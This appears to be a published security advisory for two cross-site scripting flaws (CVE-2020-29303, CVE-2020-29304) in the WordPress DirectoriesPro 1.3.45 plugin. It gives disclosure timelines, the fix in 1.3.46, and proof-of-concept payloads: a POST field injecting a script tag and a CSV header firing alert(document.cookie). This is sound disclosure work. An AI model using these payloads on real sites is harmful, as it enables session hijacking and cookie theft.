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WordPress DirectoriesPro 1.3.45 Cross Site Scripting

WordPress DirectoriesPro 1.3.45 Cross Site Scripting
Posted Dec 11, 2020
Authored by Jack Misiura

WordPress DirectoriesPro plugin version 1.3.45 suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2020-29303, CVE-2020-29304
SHA-256 | 6aa12eb5e2a30f4c4d114b32f8b866bc1a6a86a0191f2dd3043d5c986c598b92

WordPress DirectoriesPro 1.3.45 Cross Site Scripting

Change Mirror Download
Title: Reflected XSS
Product: WordPress DirectoriesPro Plugin by SabaiApps
Vendor Homepage: https://directoriespro.com/
Vulnerable Version: 1.3.45
Fixed Version: 1.3.46
CVE Number: CVE-2020-29303

Author: Jack Misiura from The Missing Link
Website: https://www.themissinglink.com.au

Timeline:
2020-11-26 Disclosed to Vendor
2020-11-27 Vendor releases patched version
2020-12-07 Fix confirmed
2020-12-10 Publication



1. Vulnerability Description

The WordPress DirectoriesPro plugin did not sanitise the _drts_form_build_id in a POST request, allowing for HTML or JavaScript injection.

2. PoC

On a WordPress installation with a vulnerable DirectoriesPro plugin, issue the following POST request while logged in as Administrator to, for example, http://example.com/wp-admin/admin.php?page=drts/directories <http://example.com/wp-admin/admin.php?page=drts/directories&q=%2Fdirectories%2Fstaff%2Fexport%2F> &q=%2Fdirectories%2Fstaff%2Fexport%2F. Please note, the _t_ parameter is set to an invalid or non-existent CSRF token.

filename=staff_txt&pretty_print=1&_drts_form_build_id=123"><script>alert('Reflected%20XSS');</script>%20onmouseover="&_t_=1234567&_drts_form_submit%5B0%5D=0&_ajax_=%23drts-modal


3. Solution

The vendor provides an updated version (1.3.46) which should be installed immediately.

4. Advisory URL

https://www.themissinglink.com.au/security-advisories


Jack Misiura
Application Security Consultant


-----------

Title: Self-reflected XSS
Product: WordPress DirectoriesPro Plugin by SabaiApps
Vendor Homepage: https://directoriespro.com/
Vulnerable Version: 1.3.45
Fixed Version: 1.3.46
CVE Number: CVE-2020-29304

Author: Jack Misiura from The Missing Link
Website: https://www.themissinglink.com.au


Timeline:
2020-11-26 Disclosed to Vendor
2020-11-27 Vendor releases patched version
2020-12-07 Fix confirmed
2020-12-10 Publication



1. Vulnerability Description

The WordPress DirectoriesPro plugin did not sanitise the column names when importing a malicious CSV file, allowing for HTML or JavaScript injection.



2. PoC

On a WordPress installation with a vulnerable DirectoriesPro plugin import a CSV file containing the following in the header:

'term<b>" autofocus onfocus={alert('Complex\u0020XSS');alert(document.cookie);}//'"


3. Solution

The vendor provides an updated version (1.3.46) which should be installed immediately.



4. Advisory URL

https://www.themissinglink.com.au/security-advisories
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